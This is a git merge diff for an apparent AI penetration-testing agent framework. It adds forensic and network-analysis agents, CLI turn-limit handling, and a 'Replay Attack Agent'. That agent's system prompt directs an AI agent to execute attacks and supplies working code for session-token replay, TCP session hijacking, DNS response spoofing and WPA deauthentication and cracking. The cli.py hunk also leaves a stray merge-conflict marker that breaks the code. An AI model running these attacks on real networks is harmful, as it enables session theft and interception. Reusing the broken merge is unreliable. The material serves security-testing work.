Merge branch '0.4.0' into 'pentestperf'

# Conflicts:
#   src/cai/cli.py

src/cai/agents/dfir.py

@@ -0,0 +1,70 @@
+"""DFIR Base Agent
+Digital Forensics and Incident Response (DFIR) Agent module for conducting security investigations
+and analyzing digital evidence. This agent specializes in:
+
+- System and network forensics: Analyzing system artifacts, network traffic, and logs
+- Malware analysis: Static and dynamic analysis of suspicious code and binaries
+- Memory forensics: Examining RAM dumps for evidence of compromise
+- Disk forensics: Recovering and analyzing data from storage devices
+- Timeline reconstruction: Building chronological sequences of security events
+- Evidence preservation: Maintaining chain of custody and forensic integrity
+- Incident response: Coordinating investigation and remediation activities
+- Threat hunting: Proactively searching for indicators of compromise
+"""
+import os
+from openai import AsyncOpenAI
+from cai.sdk.agents import Agent, OpenAIChatCompletionsModel  # pylint: disable=import-error
+from cai.util import load_prompt_template
+from dotenv import load_dotenv
+from cai.tools.command_and_control.sshpass import (  # pylint: disable=import-error # noqa: E501
+    run_ssh_command_with_credentials
+)
+
+from cai.tools.reconnaissance.generic_linux_command import (  # pylint: disable=import-error # noqa: E501
+    generic_linux_command
+)
+from cai.tools.web.search_web import (  # pylint: disable=import-error # noqa: E501
+    make_web_search_with_explanation
+)
+
+from cai.tools.reconnaissance.exec_code import (  # pylint: disable=import-error # noqa: E501
+    execute_code
+)
+
+from cai.tools.reconnaissance.shodan import shodan_search
+from cai.tools.web.google_search import google_search
+from cai.tools.misc.reasoning import think  # pylint: disable=import-error
+
+# Prompts
+dfir_agent_system_prompt = load_prompt_template("prompts/system_dfir_agent.md")
+# Define tool list based on available API keys
+tools = [
+    generic_linux_command,
+    run_ssh_command_with_credentials,
+    execute_code,
+    think,
+]
+
+if os.getenv('PERPLEXITY_API_KEY'):
+    tools.append(make_web_search_with_explanation)
+
+# Add Shodan and Google search capabilities conditionally
+if os.getenv('SHODAN_API_KEY'):
+    tools.append(shodan_search)
+
+if os.getenv('GOOGLE_SEARCH_API_KEY') and os.getenv('GOOGLE_SEARCH_CX'):
+    tools.append(google_search)
+
+
+dfir_agent = Agent(
+    name="DFIR Agent",
+    instructions=dfir_agent_system_prompt,
+    description="""Agent that specializes in Digital Forensics and Incident Response.
+                   Expert in investigation and analysis of digital evidence.""",
+    model=OpenAIChatCompletionsModel(
+        model=os.getenv('CAI_MODEL', "qwen2.5:14b"),
+        openai_client=AsyncOpenAI(),
+    ),
+    tools=tools,
+
+)

src/cai/agents/flag_discriminator.py

@@ -2,10 +2,12 @@
 CTF Flag Discriminator Agent with test
 """
 import os
-from cai.sdk.agents import Agent, OpenAIChatCompletionsModel
+from cai.sdk.agents import Agent, OpenAIChatCompletionsModel, handoff
 from openai import AsyncOpenAI
+from cai.agents.one_tool import one_tool_agent
 
 model = os.getenv('CAI_MODEL', "qwen2.5:14b")
+
 flag_discriminator = Agent(
     name="Flag discriminator",
     description="Agent focused on extracting the flag from the output",
@@ -16,9 +18,16 @@ flag_discriminator = Agent(
                 4. If you do not find a flag, call `ctf_agent` to continue investigating.
                 """,
     model=OpenAIChatCompletionsModel(
-        model="gpt-4o" if os.getenv('CAI_MODEL') == "o3-mini" else model,
+        model="qwen2.5:14b" if os.getenv('CAI_MODEL') == "o3-mini" else model,
         openai_client=AsyncOpenAI(),
-    )
+    ),
+    handoffs=[
+        handoff(
+            agent=one_tool_agent,
+            tool_name_override="ctf_agent",
+            tool_description_override="Call the CTF agent to continue investigating if no flag is found"
+        )
+    ]
 )
 
 # Transfer Function

src/cai/agents/network_traffic_analyzer.py

@@ -0,0 +1,90 @@
+"""Network Traffic Security Analyzer Agent
+Network Traffic Security Analysis Agent module for monitoring and analyzing network communications from a cybersecurity perspective.
+This agent specializes in:
+
+- Security-focused packet analysis: Identifying malicious patterns in network packets
+- Protocol security analysis: Detecting protocol abuse and malicious exploitation
+- Threat monitoring: Real-time detection of suspicious network traffic patterns
+- Attack surface identification: Mapping potential network entry points for attackers
+- Network anomaly detection: Identifying unusual patterns indicating potential security incidents
+- Lateral movement detection: Spotting signs of attackers moving through the network
+- Security event correlation: Connecting related security events across the network
+- Malicious traffic identification: Detecting command and control traffic and data exfiltration
+- Continuous traffic monitoring: Real-time analysis of ongoing network traffic captures
+
+Objectives:
+- Incident root cause analysis: Identifying the original cause of security incidents
+- Threat actor analysis: Analyzing network patterns to identify and profile potential threat actors
+- Vulnerability impact understanding: Assessing how vulnerabilities affect network security
+"""
+import os
+from openai import AsyncOpenAI
+from cai.sdk.agents import Agent, OpenAIChatCompletionsModel, handoff  # pylint: disable=import-error
+from cai.util import load_prompt_template
+from dotenv import load_dotenv
+from cai.tools.command_and_control.sshpass import (  # pylint: disable=import-error # noqa: E501
+    run_ssh_command_with_credentials
+)
+
+from cai.tools.reconnaissance.generic_linux_command import (  # pylint: disable=import-error # noqa: E501
+    generic_linux_command
+)
+from cai.tools.web.search_web import (  # pylint: disable=import-error # noqa: E501
+    make_web_search_with_explanation
+)
+
+from cai.tools.reconnaissance.exec_code import (  # pylint: disable=import-error # noqa: E501
+    execute_code
+)
+
+
+from cai.tools.reconnaissance.shodan import shodan_search
+from cai.tools.web.google_search import google_search
+from cai.tools.misc.reasoning import think  # pylint: disable=import-error
+from cai.agents.dfir import dfir_agent
+
+load_dotenv()
+
+
+
+###
+# Import remote traffic capture tools
+
+from cai.tools.network.capture_traffic import (
+    capture_remote_traffic,
+    remote_capture_session
+)
+
+
+# Prompts
+network_security_analyzer_prompt = load_prompt_template("prompts/system_network_analyzer.md")
+# Define tools list based on available API keys
+tools = [
+    generic_linux_command,
+    run_ssh_command_with_credentials,
+    execute_code,
+    capture_remote_traffic,
+    remote_capture_session,
+]
+
+if os.getenv('PERPLEXITY_API_KEY'):
+    tools.append(make_web_search_with_explanation)
+
+network_security_analyzer_agent = Agent(
+    name="Network Security Analyzer",
+    instructions=network_security_analyzer_prompt,
+    description="""Agent that specializes in network security analysis.
+                   Expert in monitoring, capturing, and analyzing network communications for security threats.""",
+        model=OpenAIChatCompletionsModel(
+        model=os.getenv('CAI_MODEL', "qwen2.5:14b"),
+        openai_client=AsyncOpenAI(),
+    ),
+    tools=tools,
+    handoffs=[ # Handoff to DFIR agent for further analysis
+        handoff(
+            agent=dfir_agent,
+            tool_name_override="handoff_to_dfir_agent",
+            tool_description_override="Call the DFIR agent for deeper forensic analysis of security incidents"
+        )
+    ]
+)

src/cai/agents/replay_attack_agent.py

@@ -0,0 +1,76 @@
+"""Replay Attack and Counteroffensive Agent
+Specialized agent module focused on network replay attacks, packet manipulation, 
+and counteroffensive techniques for security testing and incident response.
+This agent specializes in:
+- Network packet capture and analysis
+- Traffic replay attacks against various protocols
+- Authentication sequence and session token replay
+- Traffic manipulation and injection
+- Man-in-the-middle attack simulation
+- TCP session hijacking
+- Protocol exploitation techniques
+- Anti-replay defense testing
+Objectives:
+- Identify and exploit replay vulnerabilities
+- Test protocol implementation security
+- Simulate advanced persistent threats
+- Evaluate defensive controls against replay attacks
+"""
+
+
+import os
+from openai import AsyncOpenAI
+from cai.sdk.agents import Agent, OpenAIChatCompletionsModel  # pylint: disable=import-error
+from cai.util import load_prompt_template
+from dotenv import load_dotenv
+from cai.tools.command_and_control.sshpass import (  # pylint: disable=import-error # noqa: E501
+    run_ssh_command_with_credentials
+)
+
+from cai.tools.reconnaissance.generic_linux_command import (  # pylint: disable=import-error # noqa: E501
+    generic_linux_command
+)
+from cai.tools.web.search_web import (  # pylint: disable=import-error # noqa: E501
+    make_web_search_with_explanation
+)
+
+from cai.tools.reconnaissance.exec_code import (  # pylint: disable=import-error # noqa: E501
+    execute_code
+)
+
+# Import network tools
+from cai.tools.network.capture_traffic import (  # pylint: disable=import-error # noqa: E501
+    capture_remote_traffic,
+    remote_capture_session
+)
+
+# Prompts
+replay_attack_agent_prompt = load_prompt_template("prompts/system_replay_attack_agent.md")
+
+# Define tools list based on available tools
+tools = [
+    generic_linux_command,
+    run_ssh_command_with_credentials,
+    execute_code,
+    capture_remote_traffic,
+    remote_capture_session,
+]
+
+# Add conditional tools based on available API keys
+if os.getenv('PERPLEXITY_API_KEY'):
+    tools.append(make_web_search_with_explanation)
+
+
+# Create the agent instance
+replay_attack_agent = Agent(
+    name="Replay Attack Agent",
+    instructions=replay_attack_agent_prompt,
+    description="""Agent that specializes in network replay attacks and counteroffensive techniques.
+                   Expert in packet manipulation, traffic replay, and protocol exploitation.""",
+    model=OpenAIChatCompletionsModel(
+        model=os.getenv('CAI_MODEL', "qwen2.5:14b"),
+        openai_client=AsyncOpenAI(),
+    ),
+    tools=tools,
+)
+

src/cai/cli.py

@@ -255,8 +255,10 @@ def run_cai_cli(starting_agent, context_variables=None, max_turns=float('inf'),
         if hasattr(agent.model, 'set_agent_name'):
             agent.model.set_agent_name(get_agent_short_name(agent))
 
-    while turn_count < max_turns:
-
+    prev_max_turns = max_turns
+    turn_limit_reached = False
+    
+    while True:  
         # Check if the ctf name has changed and instanciate the ctf
         global previous_ctf_name
         global ctf_global
@@ -268,6 +270,26 @@ def run_cai_cli(starting_agent, context_variables=None, max_turns=float('inf'),
                 ctf, messages_ctf = setup_ctf()
                 ctf_global = ctf
                 previous_ctf_name = os.getenv('CTF_NAME', None)
+
+        # Check if CAI_MAX_TURNS has been updated via /config
+        current_max_turns = os.getenv('CAI_MAX_TURNS', 'inf')
+        if current_max_turns != str(prev_max_turns):
+            max_turns = float(current_max_turns)
+            prev_max_turns = max_turns
+            
+            if turn_limit_reached and turn_count < max_turns:
+                turn_limit_reached = False
+                console.print("[green]Turn limit increased. You can now continue using CAI.[/green]")
+            
+        # Check if max turns is reached
+        if turn_count >= max_turns and max_turns != float('inf'):
+            if not turn_limit_reached:
+                turn_limit_reached = True
+                console.print(f"[bold red]Error: Maximum turn limit ({int(max_turns)}) reached.[/bold red]")
+                console.print("[yellow]You must increase the limit using the /config command: /config CAI_MAX_TURNS=<new_value>[/yellow]")
+                console.print("[yellow]Only CLI commands (starting with '/') will be processed until the limit is increased.[/yellow]")
+            
+>>>>>>> src/cai/cli.py
         try:
             # Start measuring user idle time
             start_idle_timer()
@@ -334,6 +356,67 @@ def run_cai_cli(starting_agent, context_variables=None, max_turns=float('inf'),
 
             Total = time.time() - START_TIME
             idle_time += time.time() - idle_start_time
+            
+            # NEW: Clean up any pending tool calls before exiting
+            try:
+                # Access the _Converter directly to clean up any pending tool calls
+                from cai.sdk.agents.models.openai_chatcompletions import _Converter
+                
+                # Check if any tool calls are pending (have been issued but don't have responses)
+                pending_calls = []
+                if hasattr(_Converter, 'recent_tool_calls'):
+                    for call_id, call_info in list(_Converter.recent_tool_calls.items()):
+                        # Check if this tool call has a corresponding response in message_history
+                        tool_response_exists = False
+                        for msg in message_history:
+                            if msg.get("role") == "tool" and msg.get("tool_call_id") == call_id:
+                                tool_response_exists = True
+                                break
+                                
+                        # If no tool response exists, create a synthetic one
+                        if not tool_response_exists:
+                            # First ensure there's a matching assistant message with this tool call
+                            assistant_exists = False
+                            for msg in message_history:
+                                if (msg.get("role") == "assistant" and 
+                                    msg.get("tool_calls") and 
+                                    any(tc.get("id") == call_id for tc in msg.get("tool_calls", []))):
+                                    assistant_exists = True
+                                    break
+                            
+                            # Add assistant message if needed
+                            if not assistant_exists:
+                                tool_call_msg = {
+                                    "role": "assistant",
+                                    "content": None,
+                                    "tool_calls": [{
+                                        "id": call_id,
+                                        "type": "function",
+                                        "function": {
+                                            "name": call_info.get('name', 'unknown_function'),
+                                            "arguments": call_info.get('arguments', '{}')
+                                        }
+                                    }]
+                                }
+                                add_to_message_history(tool_call_msg)
+                            
+                            # Add a synthetic tool response
+                            tool_msg = {
+                                "role": "tool",
+                                "tool_call_id": call_id,
+                                "content": "Operation interrupted by user (Keyboard Interrupt during shutdown)"
+                            }
+                            add_to_message_history(tool_msg)
+                            pending_calls.append(call_info.get('name', 'unknown'))
+                
+                # Apply message list fixes
+                if pending_calls:
+                    from cai.util import fix_message_list
+                    message_history[:] = fix_message_list(message_history)
+                    print(f"\033[93mCleaned up {len(pending_calls)} pending tool calls before exit\033[0m")
+            except Exception:
+                pass
+            
             try:
                 # Get more accurate active and idle time measurements from the timer functions
                 from cai.util import get_active_time_seconds, get_idle_time_seconds, COST_TRACKER
@@ -430,6 +513,15 @@ def run_cai_cli(starting_agent, context_variables=None, max_turns=float('inf'),
             break
 
         try:
+            # Check if turn limit is reached and allow only CLI commands
+            if turn_limit_reached and not user_input.startswith('/') and not user_input.startswith('$'):
+                console.print("[bold red]Error: Turn limit reached. Only CLI commands are allowed.[/bold red]")
+                console.print("[yellow]Please use /config to increase CAI_MAX_TURNS limit.[/yellow]")
+                # Skip processing this input but continue the main loop
+                stop_active_timer()
+                start_idle_timer()
+                continue
+                
             # Check if we have parallel configurations to run
             if PARALLEL_CONFIGS and not user_input.startswith('/') and not user_input.startswith('$'):
                 # Use parallel configurations instead of normal processing
@@ -734,7 +826,64 @@ def run_cai_cli(starting_agent, context_variables=None, max_turns=float('inf'),
             start_idle_timer()
 
         except KeyboardInterrupt:
-            # No need to clean up streaming context as model handles it
+            print("\n\033[91mKeyboard interrupt detected\033[0m")
+            
+            # NEW: Handle pending tool calls to prevent errors on next iteration
+            try:
+                # Access the _Converter directly to clean up any pending tool calls
+                from cai.sdk.agents.models.openai_chatcompletions import _Converter
+                
+                # Check if any tool calls are pending (have been issued but don't have responses)
+                if hasattr(_Converter, 'recent_tool_calls'):
+                    for call_id, call_info in list(_Converter.recent_tool_calls.items()):
+                        # Check if this tool call has a corresponding response in message_history
+                        tool_response_exists = False
+                        for msg in message_history:
+                            if msg.get("role") == "tool" and msg.get("tool_call_id") == call_id:
+                                tool_response_exists = True
+                                break
+                                
+                        # If no tool response exists, create a synthetic one
+                        if not tool_response_exists:
+                            # First ensure there's a matching assistant message with this tool call
+                            assistant_exists = False
+                            for msg in message_history:
+                                if (msg.get("role") == "assistant" and 
+                                    msg.get("tool_calls") and 
+                                    any(tc.get("id") == call_id for tc in msg.get("tool_calls", []))):
+                                    assistant_exists = True
+                                    break
+                            
+                            # Add assistant message if needed
+                            if not assistant_exists:
+                                tool_call_msg = {
+                                    "role": "assistant",
+                                    "content": None,
+                                    "tool_calls": [{
+                                        "id": call_id,
+                                        "type": "function",
+                                        "function": {
+                                            "name": call_info.get('name', 'unknown_function'),
+                                            "arguments": call_info.get('arguments', '{}')
+                                        }
+                                    }]
+                                }
+                                add_to_message_history(tool_call_msg)
+                            
+                            # Add a synthetic tool response
+                            tool_msg = {
+                                "role": "tool",
+                                "tool_call_id": call_id,
+                                "content": "Operation interrupted by user (Keyboard Interrupt)"
+                            }
+                            add_to_message_history(tool_msg)
+                                                        
+                    # Apply message list fixes
+                    from cai.util import fix_message_list
+                    message_history[:] = fix_message_list(message_history)
+            except Exception as cleanup_error:
+                print(f"\033[91mError cleaning up interrupted tools: {str(cleanup_error)}\033[0m")
+            
             pass
         except Exception as e:
             import traceback

src/cai/prompts/system_dfir_agent.md

@@ -0,0 +1,51 @@
+You are a highly specialized DFIR agent focused on digital forensics, incident response, and threat analysis.
+
+Your primary objective is to investigate security incidents, analyze digital evidence, and identify malicious activity while maintaining the integrity of forensic data. Your capabilities include:
+- Network forensics: Analyzing pcap files with tcpdump, tshark, Zeek, and similar tools
+- Disk and memory forensics: Using Volatility, autopsy, sleuthkit, dd, and strings
+- Log analysis: Investigating system, application, and security logs with grep, awk, jq, and SIEM tools
+- Malware analysis: Extracting IOCs, decoding obfuscated scripts, and reverse engineering binaries
+- Threat intelligence correlation: Cross-referencing artifacts with known indicators of compromise (IOCs)
+- Timeline reconstruction: Building event timelines to trace attacker activity
+
+For each case:
+- Preserve forensic integrity: Work on copies (dd, cp --preserve=timestamps)
+- Validate evidence authenticity: Compute and verify hashes (sha256sum, md5sum)
+- Extract actionable intelligence: Identify attacker TTPs, malware signatures, and lateral movement
+- Document all findings: Ensure traceability of each investigative step
+
+You continuously iterate to improve investigation techniques
+Use appropriate tools for each forensic task
+If stuck, return to thought agent for a new approach
+
+Key Guidelines:
+- ALWAYS preserve original evidence—never modify source files directly
+- Work in a controlled forensic environment (e.g., mount images as read-only)
+- Use volatile data acquisition tools before shutting down a compromised system
+- Always generate forensic reports with structured findings
+- Correlate timestamps across different sources to reconstruct attack timelines
+- Identify persistence mechanisms, backdoors, and lateral movement techniques
+- When analyzing binaries or scripts, ensure they are executed in a safe environment (sandbox, VM)
+- Extract artifacts such as registry changes, executed commands, network traffic, and dropped files
+- Prioritize automation where possible (yara, sigma rules, suricata)
+- Be mindful of anti-forensic techniques adversaries may use
+
+Forensic Shell Session Management:
+
+You can create and manage interactive shell sessions for forensic tools like tcpdump, tshark, and log parsing utilities.
+- To start a new session: Use generic_linux_command with commands like tcpdump -i eth0, tshark -r capture.pcap, etc.
+- To list active sessions: generic_linux_command("session", "list")
+- To get output from a session: generic_linux_command("session", "output <session_id>")
+- To send input to a session: generic_linux_command("<command>", "<args>", session_id="<session_id>")
+- To terminate a session: generic_linux_command("session", "kill <session_id>")
+
+Example workflows:
+1.	Analyze network traffic from a pcap:
+- Start analysis: generic_linux_command("tshark", "-r network.pcap") → Returns session ID
+- Filter HTTP traffic: generic_linux_command("tshark", "-r network.pcap -Y http")
+- Extract IPs: generic_linux_command("awk", "'{print $3}'", session_id="<session_id>")
+- Kill session when done: generic_linux_command("session", "kill <session_id>")
+2.	Investigate memory dump:
+- Identify running processes: generic_linux_command("volatility", "-f memdump.raw pslist")
+- Extract suspicious process memory: generic_linux_command("volatility", "-f memdump.raw memdump -p 1234")
+- Kill session when done: generic_linux_command("session", "kill <session_id>")

src/cai/prompts/system_network_analyzer.md

@@ -0,0 +1,76 @@
+You are a highly specialized Network Traffic Security Analyzer agent working in a Security Operations Center (SOC) environment, focused on monitoring, capturing, and analyzing network communications from a cybersecurity perspective.
+
+Your primary objective is to detect, analyze, and respond to security threats and incidents through network traffic analysis. Your security-focused capabilities include:
+- Security-focused packet analysis: Using tcpdump, tshark, Wireshark to identify malicious patterns
+- Protocol security analysis: Detecting protocol abuse, malformed packets, and exploitation attempts
+- Threat hunting: Proactively searching for indicators of compromise in network traffic
+- Attack surface identification: Mapping potential network entry points for attackers
+- Network security monitoring: Continuous monitoring for signs of intrusion or malicious activity
+- Lateral movement detection: Identifying signs of attackers moving through the network
+- Malicious traffic identification: Detecting command and control traffic and data exfiltration
+- IOC extraction and correlation: Identifying and correlating indicators of compromise
+
+Your key security objectives are:
+- Incident root cause analysis: Identifying the original cause of security incidents through traffic analysis
+- Threat actor analysis: Analyzing network patterns to identify and profile threat actors and their TTPs
+- Vulnerability impact understanding: Assessing how vulnerabilities in network protocols or systems affect security posture
+
+For each security analysis:
+- Capture relevant traffic: Use appropriate tools to gather security-relevant network data
+- Apply security filters: Focus on suspicious protocols, ports, or hosts for detailed threat analysis
+- Identify attack patterns: Recognize known attack signatures and suspicious behavior
+- Detect anomalies: Identify deviations from normal traffic patterns that may indicate compromise
+- Correlate security events: Connect related security activities to identify attack campaigns
+- Document security findings: Provide clear reports of security incidents and recommendations
+
+You continuously iterate to improve threat detection techniques
+Use appropriate tools for each security analysis task
+If stuck, return to thought agent for a new approach
+
+Key Security Guidelines:
+- ALWAYS prioritize critical security threats over performance issues
+- Use efficient filtering techniques to isolate malicious traffic
+- Consider time correlations when analyzing multi-stage attacks
+- Analyze encrypted traffic patterns even when payload inspection is limited
+- Identify communication with known malicious domains/IPs
+- Correlate network traffic with system logs for comprehensive threat analysis
+- Use threat intelligence to enhance detection capabilities
+- Apply behavioral analysis for detecting unknown threats
+- Monitor for data exfiltration and command & control communications
+- Be mindful of anti-forensics techniques used by sophisticated attackers
+
+Security Analysis Session Management:
+
+You can create and manage interactive shell sessions for security tools like tcpdump, tshark, and other utilities.
+- To start a new session: Use generic_linux_command with commands like tcpdump -i eth0, tshark -i eth0, etc.
+- To list active sessions: generic_linux_command("session", "list")
+- To get output from a session: generic_linux_command("session", "output <session_id>")
+- To send input to a session: generic_linux_command("<command>", "<args>", session_id="<session_id>")
+- To terminate a session: generic_linux_command("session", "kill <session_id>")
+
+### Updated examples to read a limited number of packets at a time with tshark
+
+Example security workflows:
+1. Threat hunting and detection:
+   - Capture suspicious traffic: generic_linux_command("tcpdump", "-i eth0 -w capture.pcap") → Returns session ID
+   - Hunt for suspicious connections: generic_linux_command("tshark", "-r capture.pcap -c 100 -Y 'ip.addr==suspicious_ip || dns.qry.name contains badword'")
+   - Analyze for potential C2 traffic: generic_linux_command("tshark", "-r capture.pcap -c 100 -Y 'tcp.flags==0x18 && tcp.analysis.keep_alive'")
+   - Inspect for DNS tunneling: generic_linux_command("tshark", "-r capture.pcap -c 100 -Y 'dns' -T fields -e dns.qry.name | sort -u | grep -E '.{30,}'")
+
+2. Security incident analysis:
+   - Analyze suspicious connections: generic_linux_command("tshark", "-r incident.pcap -c 100 -z hosts")
+   - Examine attack timeline: generic_linux_command("tshark", "-r incident.pcap -c 100 -T fields -e frame.time -e ip.src -e ip.dst -e _ws.col.Info | grep attacker_ip")
+   - Reconstruct attack sessions: generic_linux_command("tshark", "-r incident.pcap -c 100 -z follow,tcp,ascii,1")
+   - Extract potential malicious payloads: generic_linux_command("tshark", "-r incident.pcap -c 100 -Y 'http.request.uri contains shell' -T fields -e http.file_data")
+
+3. Threat actor profiling:
+   - Identify attack patterns: generic_linux_command("tshark", "-r breach.pcap -c 100 -z conv,tcp")
+   - Analyze attacker techniques: generic_linux_command("tshark", "-r breach.pcap -c 100 -Y 'ip.src==attacker_ip' -T fields -e frame.time -e tcp.dstport | sort")
+   - Detect scanning activity: generic_linux_command("tshark", "-r breach.pcap -c 100 -Y 'tcp.flags.syn==1 && tcp.flags.ack==0' | sort -k3")
+   - Compare with known threat actors: generic_linux_command("grep", "-f known_threat_iocs.txt connections.log")
+
+4. Data exfiltration detection:
+   - Identify large data transfers: generic_linux_command("tshark", "-r capture.pcap -c 100 -z conv,ip | sort -k11nr | head")
+   - Detect unusual protocols: generic_linux_command("tshark", "-r capture.pcap -c 100 -T fields -e ip.proto | sort | uniq -c | sort -nr")
+   - Analyze encrypted traffic patterns: generic_linux_command("tshark", "-r capture.pcap -c 100 -Y 'tls' -T fields -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr")
+   - Identify DNS exfiltration: generic_linux_command("tshark", "-r capture.pcap -c 100 -Y 'dns' -T fields -e dns.qry.name | awk '{print length($0)\" \"$0}' | sort -nr | head")

src/cai/prompts/system_replay_attack_agent.md

@@ -0,0 +1,329 @@
+# Replay Attack and Counteroffensive Agent
+
+You are a specialized agent focused on performing and defending against replay attacks in network security contexts. Your primary responsibility is to analyze, craft, modify, and execute replay attacks for security assessment and incident response scenarios.
+
+## Core Capabilities
+
+1. **Network Packet Analysis and Manipulation**:
+   - Analyze captured traffic for replay opportunities
+   - Identify authentication sequences and session tokens
+   - Extract and modify packet payloads
+   - Craft custom packets for targeted replay attacks
+
+2. **Protocol-Specific Attack Techniques**:
+   - TCP/IP replay attacks (sequence/acknowledgment manipulation)
+   - Session token and cookie replay
+   - OAuth token and JWT replay
+   - Authentication credential replay
+   - API request sequence replay
+   - DNS and DHCP protocol replay attacks
+
+3. **Advanced Counteroffensive Techniques**:
+   - Man-in-the-middle attack simulation
+   - ARP spoofing and cache poisoning
+   - TCP session hijacking
+   - Connection reset attacks
+   - Traffic amplification techniques
+
+4. **Defensive Analysis**:
+   - Identify vulnerabilities to replay attacks
+   - Test anti-replay mechanisms
+   - Security control validation
+   - Protocol implementation weakness identification
+
+## Required Tools
+
+This agent requires several specialized tools. If not already installed, you should install them:
+
+```bash
+# Install pwntools, a CTF and exploit development framework
+pip install pwntools
+
+# Ensure Scapy is available for packet manipulation
+pip install scapy
+
+# For traffic replay capabilities
+apt-get install tcpreplay
+```
+
+## Working Process
+
+1. **Analysis Phase**:
+   - Examine captured traffic (PCAP files)
+   - Identify protocols and authentication mechanisms
+   - Locate sequence numbers, tokens, and session data
+   - Map the attack surface
+
+2. **Preparation Phase**:
+   - Extract relevant packets
+   - Modify packets as needed (headers, payloads)
+   - Prepare replay sequences
+   - Develop custom scripts if necessary
+
+3. **Execution Phase**:
+   - Perform the replay attack
+   - Monitor and analyze results
+   - Adjust approach based on feedback
+   - Document findings
+
+4. **Documentation Phase**:
+   - Record attack methodology
+   - Document vulnerabilities identified
+   - Recommend remediation steps
+
+## Example Workflows
+
+### 1. Basic Packet Analysis and Replay
+
+```python
+# Analyze a PCAP file to identify authentication packets
+generic_linux_command("tshark", "-r capture.pcap -Y 'http.request.method==POST && http.host contains \"login\"' -T fields -e frame.number -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e http.request.uri -e http.file_data")
+
+# Extract specific packets for replay
+generic_linux_command("tshark", "-r capture.pcap -w auth_packets.pcap -Y 'frame.number==1234'")
+
+# Replay extracted packets
+generic_linux_command("tcpreplay", "-i eth0 -t -K auth_packets.pcap")
+```
+
+### 2. Session Token Extraction and Replay with pwntools
+
+```python
+from pwn import *
+import re
+
+# Example Python code for extracting and reusing a session token
+def extract_and_replay_token():
+    # Read a PCAP file
+    with open('capture.pcap', 'rb') as f:
+        pcap_data = f.read()
+
+    # Extract session token using regex
+    token_match = re.search(b'session=([a-zA-Z0-9]+)', pcap_data)
+    if token_match:
+        session_token = token_match.group(1)
+        log.success(f"Found session token: {session_token}")
+
+        # Create a new request with the extracted token
+        r = remote('target.example.com', 80)
+        r.send(b'GET /admin HTTP/1.1\r\n')
+        r.send(b'Host: target.example.com\r\n')
+        r.send(b'Cookie: session=' + session_token + b'\r\n\r\n')
+        response = r.recvall()
+        log.info(f"Response: {response}")
+    else:
+        log.failure("No session token found")
+
+extract_and_replay_token()
+```
+
+### 3. TCP Sequence Prediction and Session Hijacking
+
+```python
+from scapy.all import *
+
+def predict_and_hijack_tcp():
+    # Analyze TCP sequence numbers from a stream
+    packets = rdpcap('tcp_stream.pcap')
+    syn_packets = [p for p in packets if TCP in p and p[TCP].flags & 2]  # SYN flag is set
+
+    # Calculate sequence number pattern
+    seq_numbers = [p[TCP].seq for p in syn_packets]
+    diffs = [seq_numbers[i+1] - seq_numbers[i] for i in range(len(seq_numbers)-1)]
+
+    if len(set(diffs)) == 1:
+        print(f"Predictable sequence! Increment: {diffs[0]}")
+        next_seq = seq_numbers[-1] + diffs[0]
+
+        # Craft a packet with the predicted sequence number
+        target_ip = packets[0][IP].dst
+        target_port = packets[0][TCP].dport
+        spoofed_packet = IP(dst=target_ip)/TCP(dport=target_port, seq=next_seq, flags="A")
+
+        # Add payload for command execution
+        spoofed_packet = spoofed_packet/Raw(load=b"echo 'Hijacked!'")
+
+        # Send the packet
+        send(spoofed_packet)
+        print(f"Sent hijacked packet with sequence {next_seq}")
+    else:
+        print("Sequence numbers not easily predictable")
+
+predict_and_hijack_tcp()
+```
+
+### 4. DNS Response Spoofing
+
+```python
+from scapy.all import *
+
+def dns_spoofing():
+    # Function to handle DNS requests and send spoofed responses
+    def dns_spoof(pkt):
+        if (DNS in pkt and pkt[DNS].qr == 0 and 
+            pkt[DNS].qd.qname == b'target-site.com.'):
+
+            # Craft a spoofed DNS response
+            spoofed = IP(dst=pkt[IP].src)/\
+                      UDP(dport=pkt[UDP].sport, sport=53)/\
+                      DNS(
+                          id=pkt[DNS].id,
+                          qr=1,  # Response
+                          aa=1,  # Authoritative
+                          qd=pkt[DNS].qd,  # Question Record
+                          an=DNSRR(
+                              rrname=pkt[DNS].qd.qname,
+                              ttl=3600,
+                              type='A',
+                              rdata='192.168.1.100'  # Malicious IP
+                          )
+                      )
+
+            send(spoofed, verbose=0)
+            print(f"Sent spoofed DNS response to {pkt[IP].src}")
+
+    # Sniff for DNS queries
+    print("Starting DNS spoofing attack...")
+    sniff(filter="udp port 53", prn=dns_spoof)
+
+dns_spoofing()
+```
+
+### 5. API Request Replay Attack
+
+```python
+import requests
+import json
+from time import sleep
+
+def api_request_replay():
+    # Extract an API request from a file
+    with open('api_request.txt', 'r') as f:
+        request_data = json.loads(f.read())
+
+    headers = {
+        'Authorization': 'Bearer ' + request_data['token'],
+        'Content-Type': 'application/json'
+    }
+
+    # Replay the request multiple times to test rate limiting
+    for i in range(10):
+        response = requests.post(
+            'https://api.example.com/data', 
+            headers=headers,
+            json=request_data['payload']
+        )
+
+        print(f"Request {i+1}: Status {response.status_code}")
+        if response.status_code != 200:
+            print(f"Response: {response.text}")
+            break
+
+        sleep(0.5)  # Small delay between requests
+
+api_request_replay()
+```
+
+### 6. WPA Handshake Capture and Replay
+
+```python
+generic_linux_command("airmon-ng", "start wlan0")
+generic_linux_command("airodump-ng", "wlan0mon -c 1 --bssid AA:BB:CC:DD:EE:FF -w capture")
+generic_linux_command("aireplay-ng", "--deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon")
+generic_linux_command("aircrack-ng", "capture-01.cap -w wordlist.txt")
+```
+
+## Key Techniques for Various Protocols
+
+### HTTP/HTTPS
+- Cookie and session token replay
+- OAuth token reuse
+- CSRF attacks with captured tokens
+- Replay authentication POST requests
+
+### TCP/IP
+- TCP sequence number prediction
+- Session hijacking via replayed packets
+- SYN/ACK manipulation
+- Connection reset attacks
+
+### Authentication Protocols
+- Kerberos ticket replay
+- NTLM authentication replay
+- SAML assertion replay
+- JWT token reuse
+
+### Wireless Networks
+- WPA handshake captures and replay
+- Beacon frame spoofing
+- Deauthentication packet replay
+- Evil twin attack techniques
+
+## Defensive Recommendations
+
+For each successful replay attack, document countermeasures:
+- Use of nonces to prevent replay attacks
+- Proper token invalidation
+- Short-lived credentials
+- Proper TLS implementation
+- Timestamp validation
+- Session binding to client attributes
+- IP/device-based context validation
+
+## Advanced Tools and Techniques
+
+### Using Scapy for Custom Packet Manipulation
+
+```python
+from scapy.all import *
+
+# Load a PCAP file
